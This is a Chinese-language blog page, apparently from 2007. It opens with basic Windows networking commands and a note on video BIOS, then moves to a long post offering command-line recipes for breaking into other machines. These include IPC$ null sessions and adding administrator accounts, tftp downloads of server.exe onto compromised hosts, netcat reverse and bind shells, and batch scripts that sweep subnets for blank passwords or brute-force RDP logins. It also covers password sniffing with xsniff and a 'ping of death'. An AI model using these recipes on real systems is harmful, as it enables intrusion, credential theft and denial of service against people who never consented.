连续对IP地址执行Ping命令,直到被用户以Ctrl+C中断。

  ·ping IP -l 3000
指定Ping命令中的数据长度为3000字节,而不是缺省的32字节。

  ·ping IP –n
执行特定次数的Ping命令。

·ping IP –a
显示NetBios名

友情提示:这个是最基本,最常用的网络命令

  通过Ping检测网络故障的常见手法

下面就给出一个典型的使用ping命令来排错的过程:

  ·ping 127.0.0.1
这个ip是是微软保留给每台机器本机回环地址,可以不需要连接网线PING通。如果此时收到错误信息,则表明 TCP/IP 安装不正确。要删除并重新安装 TCP/IP

  ·ping 本机IP
在确保配置和网线连接都正确的情况下如果此时收到错误信息,则说明 Windows NT 和网络适配器之间可能存在通信问题。要解决这一问题,请删除并重新安装网络适配器驱动程序
·ping 局域网内其他IP
这个命令将数据报通过经过网卡和网络电缆给其他计算机,再返回。收到回送应答表明本地网络中的网卡和载体运行正确。但如果收到0个回送应答,那么有可能存在这们一些问题:
(1.查看IP地址和子网掩码是不是正确,对方机器是不是防火墙过滤了ICMP包)

  ·ping 网关IP
这个命令如果应答正确,表示局域网中的网关路由器正在运行并能够作出应答.说明了你的机器网络配置正常,如果不通。

  ·ping 远程IP
如果能收到4个数据包的响应应答,那么表示成功的使用了缺省网关。通往互联网的链路是通的。

  ·ping localhost
localhost是个系统安装后自动添加的一个解析,它是127.0.0.1的别名,每太计算机都应该能够将该名字转换成该地址。如果没有做到这一带内,则表示主机文件(hosts)中存在问题。

  ·ping www.ithao123.com(如www.ithao123.comIT经验网 )
如果执行ping后,出现无法解析出IP。那么就有可能是DNS出现问题了。那么这时候我们就可以试着
在PING一个IP地址来确认是不是DNS的问题。如:163的IP:202.108.9.16 必须是在正常情况下能允许PING的机器。

  如果上面的测试都通过的话,那么访问互联网一般就没什么大问题了。

2、netstat

命令:

netstat -an 显示出你的计算机当前所开放的所有端口

3、地址解析协议(Address Resolution Protocol,AR P)
探测arp绑定(动态和静态)列表,显示所有连接了我的计算机,显示对方IP和MAC地址

命令:arp -a ——-显示ARP 表
arp -s ——–添加一个ARP 解析
arp -d——–删除一个ARP 解析

4. ipconfig ———–网管员必须掌握的

IPConfig最常用的选项

  ·ipconfig
当使用IPConfig时不带任何参数选项,那么它为每个已经配置了的接口显示IP地址、子网掩码和缺省网关值。

  ·ipconfig /all
当使用all选项时,IPConfig能为DNS和WINS服务器显示它已配置且所要使用的附加信息(如IP地址等),并且显示内置于本地网卡中的物理地址(MAC)。如果IP地址是从DHCP服务器租用的,IPConfig将显示DHCP服务器的IP地址和租用地址预计失效的日期。

  ·ipconfig /release和ipconfig /renew
这是两个附加选项,只能在向DHCP服务器租用其IP地址的计算机上起作用。如果我们输入ipconfig /release,那么所有接口的租用IP地址便重新交付给DHCP服务器(归还IP地址)。如果我们输入ipconfig /renew,那么本地计算机便设法与DHCP服务器取得联系,并租用一个IP地址。请注意,大多数情况下网卡将被重新赋予和以前所赋予的相同的IP地址。

5. netsh命令详解

命令行工具是一个功能很强大的命令行工具

配置IP地址:
netsh interface ip set address “本地连接” static 192.168.1.100 255.255.255.0

配置主DNS:
netsh interface ip set dns “本地连接” static 202.106.196.115

配置备用DNS:
netsh interface ip add dns “本地连接” 202.106.0.20

导出配置脚本:
netsh -c interface ip dump >c:\ip.txt
导入配置脚本:
netsh -f c:\ip.txt

6 net 命令———–网管员必须掌握的。
net use \\ip\ipc$ ” ” /user:” ” 建立IPC空链接
禁止空连接Local_Machine\System\CurrentControlSet\Control\LSA\RestrictAnonymous 把这个值改成”1”即可
net use \\ip\ipc$ “密码” /user:”用户名” 建立IPC非空链接
net use h: \\ip\c$ “密码” /user:”用户名” 直接登陆后映射对方C:到本地为H:
net use h: \\ip\c$ 登陆后映射对方C:到本地为H:
net use \\ip\ipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户 查看帐户的属性
net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
在网络邻居上隐藏你的计算机
net config server /hidden:yes
net config server /hidden:no 则为开启
命令:Net send 计算机名/IP *

命令:net stop messenger 停止信使服务,也可以在面板-服务修改

命令:net start messenger 开始信使服务

7.nslookup
用法是: nslookup 域名
nslookup –type=类型 目标域名
nslookup –qt=类型 目标域名 注意qt必须小写。 类型可以是一下字符,不区分大小写
指定使用的名字服务器在默认情况下nslookup使用的是我们在本机TCP/IP配置中的DNS服务器进行查询,但有时候我们需要指定一个特定的服务器进行查询试验。这时候我们不需要更改本机的TCP/IP配置
nslookup –qt=类型 目标域名 指定的DNS服务器

8. telnet
例子:telnet ip 端口 远和登陆服务器,默认端口为23

Written by khee

November 5, 2007 at 8:07 am

Posted in Computer

Video BIOS

without comments

Much the way the system BIOS provides a set of functions that are used by software programs to access the system hardware, the video BIOS provides a set of video-related functions that are used by programs to access the video hardware. The video BIOS interfaces software to the video chipset in the same way that the system BIOS does for the system chipset.

When the computer is started it usually displays the graphics card vendor, model, BIOS version and amount of graphics memory.

Written by khee

November 5, 2007 at 2:33 am

Posted in Computer

入侵DOS的各类指令

without comments

net use \\ip\ipc$ ” ” /user:” ” 建立IPC空链接
net use \\ip\ipc$ “密码” /user:”用户名” 建立IPC非空链接
net use h: \\ip\c$ “密码” /user:”用户名” 直接登陆后映射对方C:到本地为H:
net use h: \\ip\c$ 登陆后映射对方C:到本地为H:
net use \\ip\ipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
net start 查看开启了哪些服务
net start 服务名  开启服务;(如:net start telnet, net start schedule)
net stop 服务名 停止某服务
net time \\目标ip 查看对方时间
net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view \\ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip “文本信息” 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C:共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况,常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删 除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件

#2 二:

del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,”> “和”> >” 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP(属telnet登陆后的命令)
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
copy c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件(目录)的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序,并显示出:请按任意键继续….
if 在批处理程序中执行条件处理(更多说明见if命令及变量)
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /@)
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 >> pass.txt 将”信息”保存到pass.txt文件中
findstr “Hello” aa.txt 在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )

#3 三:

ver 在DOS窗口下显示版本信息
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目录名 创建目录
replace 源文件 要替换文件的目录 替换文件
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令=字符
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
taskmgr 调出任务管理器
chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径\可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /@
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
regedit /e 注册表文件名 导出注册表
cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM 文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况

#4 四:

IIS服务命令:
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
iisreset /start或stop 启动(停止)所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 显示所有Internet服务状态
iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
FTP 命令: (后面有详细说明内容)
ftp的命令行格式为:
ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
-d 使用调试方式。
-n 限制ftp的自动登录,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令说明
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
pwd 列出当前远端主机目录
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
mget [remote-files] 从远端主机接收一批文件至本地主机
mput local-files 将本地主机中一批文件传送至远端主机
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
ascii 设定以ASCII方式传送文件(缺省值)
bin 或 image 设定以二进制方式传送文件
bell 每完成一次文件传送,报警提示
cdup 返回上一级目录
close 中断与远程服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连接,可指定连接端口
delete 删除远端主机中的文件
mdelete [remote-files] 删除一批文件
mkdir directory-name 在远端主机中建立目录
rename [from] [to] 改变远端主机中的文件名
rmdir directory-name 删除远端主机中的目录
status 显示当前FTP的状态
system 显示远端主机系统类型
user user-name [password] [account] 重新以别的用户名登录远端主机
open host [port] 重新建立一个新的连接
prompt 交互提示模式
macdef 定义宏命令
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod 改变远端主机的文件权限
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cd remote-dir 进入远程主机目录
cdup 进入远程主机目录的父目录
! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip

#5 五:

MYSQL 命令:
mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u与root可以不用加空格,其它也一样)
exit 退出MYSQL
mysqladmin -u用户名 -p旧密码 password 新密码 修改密码
grant select on 数据库.* to 用户名@登录主机 identified by \”密码\”; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
use mysql;
show tables; 显示库中的数据表
describe 表名; 显示数据表的结构
create database 库名; 建库
use 库名;
create table 表名 (字段设定列表); 建表
drop database 库名;
drop table 表名; 删库和删表
delete from 表名; 将表中记录清空
select * from 表名; 显示表中的记录
mysqldump –opt school>school.bbb 备份数据库:(命令在DOS的\\mysql\\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb 是一个文本文件,文件名任取,打开看看你会有新发现。
win2003系统下新增命令(实用部份):
shutdown /参数 关闭或重启本地或远程主机。
参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
例:shutdown /r /t 0 立即重启本地主机(无延时)
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。

#6 六:

Linux系统下基本命令: 要区分大小写
uname 显示版本信息(同win2K的 ver)
dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
cat 文件名 查看文件内容
cat >abc.txt 往abc.txt文件中写上内容。
more 文件名 以一页一页的方式显示一个文本文件。
cp 复制文件
mv 移动文件
rm 文件名 删除文件,rm -a 目录名删除目录及子目录
mkdir 目录名 建立目录
rmdir 删除子目录,目录内没有文档。
chmod 设定档案或目录的存取权限
grep 在档案中查找字符串
diff 档案文件比较
find 档案搜寻
date 现在的日期、时间
who 查询目前和你使用同一台机器的人以及Login时间地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名称
groups 查看某人的Group
passwd 更改密码
history 查看自己下过的命令
ps 显示进程状态
kill 停止某进程
gcc 黑客通常用它来编译C语言写的文件
su 权限转换为指定使用者
telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功
ftp ftp连接上某服务器(同win2K)

附:批处理命令与变量

1:for命令及变量 基本格式:
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同 理:%2—%9指输入的第2-9个值;例:net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3

(set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个”1″指起始值,第二个”1″指增长量,第三个”254″指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }

command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
command_parameters:为特定命令指定参数或命令行开关

IN (set):指在(set)中取值;DO command :指执行command

参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:\pass.txt)时 }。
用法举例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find “命令成功完成” >>test.txt
存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。

/L 指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有”命令成功完成”信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。

#7 七:

2:if命令及变量 基本格式:
IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。
例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。
0 指发现并成功执行(真);1 指没有发现、没执行(假)。
IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。
例:“if “%2%”==”4″ goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加” “)
IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到”:end”标签处。
IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. <del test.txt.> else echo test.txt.missing ”,注意命令中的“.”

(二)系统外部命令(均需下载相关工具):

1、瑞士军刀:nc.exe

参数说明:
-h 查看帮助信息
-d 后台模式
-e prog程序重定向,一但连接就执行[危险]
-i secs延时的间隔
-l 监听模式,用于入站连接
-L 监听模式,连接天闭后仍然继续监听,直到CTR+C
-n IP地址,不能用域名
-o film记录16进制的传输
-p[空格]端口 本地端口号
-r 随机本地及远程端口
-t 使用Telnet交互方式
-u UDP模式
-v 详细输出,用-vv将更详细
-w数字 timeout延时间隔
-z 将输入,输出关掉(用于扫锚时)
基本用法:
nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口
nc -l -p 80 开启本机的TCP 80端口并监听
nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口
高级用法:
nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止
nc -L -p 80 > c:\log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:\log.txt
nc -L -p 80 < c:\honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
本机上用:nc -l -p 本机端口
在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K
nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙
本机上用:nc -d -l -p 本机端口 < 要传送的文件路径及名称
在对方主机上用:nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机
备 注:
| 管道命令
< 或 > 重定向命令。“<”,例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令
@ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:\winnt >> d:\log.txt 意思是:后台执行dir,并把结果存在d:\log.txt中
>与>>的区别  ”>”指:覆盖;”>>”指:保存到(添加到)。
如: @dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果 把第一次的覆盖了。

#8 八:

2、扫锚工具:xscan.exe

基本格式
xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚”起始IP到终止IP”段的所有主机信息
xscan -file <主机列表文件名> <检测项目> [其他选项] 扫锚”主机IP列表文件名”中的所有主机信息
检测项目
-active 检测主机是否存活
-os 检测远程操作系统类型(通过NETBIOS和SNMP协议)
-port 检测常用服务的端口状态
-ftp 检测FTP弱口令
-pub 检测FTP服务匿名用户写权限
-pop3 检测POP3-Server弱口令
-smtp 检测SMTP-Server漏洞
-sql 检测SQL-Server弱口令
-smb 检测NT-Server弱口令
-iis 检测IIS编码/解码漏洞
-cgi 检测CGI漏洞
-nasl 加载Nessus攻击脚本
-all 检测以上所有项目
其它选项
-i 适配器编号 设置网络适配器, <适配器编号>可通过”-l”参数获取
-l 显示所有网络适配器
-v 显示详细扫描进度
-p 跳过没有响应的主机
-o 跳过没有检测到开放端口的主机
-t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10
-log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p  检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放 端口的主机
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测 进度,跳过没有检测到开放端口的主机

#9 九:

3、命令行方式嗅探器: xsniff.exe
可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
参数说明
-tcp 输出TCP数据报
-udp 输出UDP数据报
-icmp 输出ICMP数据报
-pass 过滤密码信息
-hide 后台运行
-host 解析主机名
-addr IP地址 过滤IP地址
-port 端口 过滤端口
-log 文件名 将输出保存到文件
-asc 以ASCII形式输出
-hex 以16进制形式输出
用法示例
xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出

4、终端服务密码破解: tscrack.exe

参数说明
-h 显示使用帮助
-v 显示版本信息
-s 在屏幕上打出解密能力
-b 密码错误时发出的声音
-t 同是发出多个连接(多线程)
-N Prevent System Log entries on targeted server
-U 卸载移除tscrack组件
-f 使用-f后面的密码
-F 间隔时间(频率)
-l 使用-l后面的用户名
-w 使用-w后面的密码字典
-p 使用-p后面的密码
-D 登录主页面
用法示例
tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码
tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户
@if not exist ipcscan.txt goto noscan
@for /f “tokens=1 delims= ” %%i in (3389.txt) do call hack.bat %%i
nscan
@echo 3389.txt no find or scan faild
(①存为3389.bat) (假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt)
3389.bat意思是:从3389.txt文件中取一个IP,接着运行hack.bat
@if not exist tscrack.exe goto noscan
@tscrack %1 -l administrator -w pass.dic >>rouji.txt
:noscan
@echo tscrack.exe no find or scan faild
(②存为hack.bat) (运行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下;就可以等待结果了)
hack.bat意思是:运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码,并将破解结果保存在rouji.txt文件中。

5、其它:

Shutdown.exe
Shutdown \\IP地址 t:20 20秒后将对方NT自动关闭(Windows 2003系统自带工具,在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。)
fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明(端口重定向绕过防火墙)
fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 当有人扫锚你的80端口时,他扫到的结果会完全是www.sina.com.cn的主机信息
Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后,就通过88端口发送到目标IP的23端口。(与目标IP建立Telnet时本机就用的 88端口与其相连接)然后:直接Telnet 127.0.0.1(本机IP)就连接到目标IP的23端口了。
OpenTelnet.exe (远程开启telnet工具)
opentelnet.exe \\IP 帐号 密码 ntlm认证方式 Telnet端口 (不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet \\ip 连接上对方。
NTLM认证方式:0:不使用NTLM身份验证;1:先尝试NTLM身份验证,如果失败,再使用用户名和密码;2:只使用NTLM身份验证。

ResumeTelnet.exe (OpenTelnet附带的另一个工具)
resumetelnet.exe \\IP 帐号 密码 用Telnet连接完对方后,就用这个命令将对方的Telnet设置还原,并同时关闭Telnet服务。

#10 十:

6、FTP命令详解:

FTP命令是Internet用户使用最频繁的命令之一,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。如果你想学习使用进行后台FTP下载,那么就必须学习FTP指令。

FTP的命令行格式为:
ftp -v -d -i -n -g [主机名] ,其中

-v 显示远程服务器的所有响应信息;

-n 限制ftp的自动登录,即不使用;.n etrc文件;

-d 使用调试方式;

-g 取消全局文件名。

FTP使用的内部命令如下(中括号表示可选项):

1.![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip
2.$ macro-ame[args]: 执行宏定义macro-name。

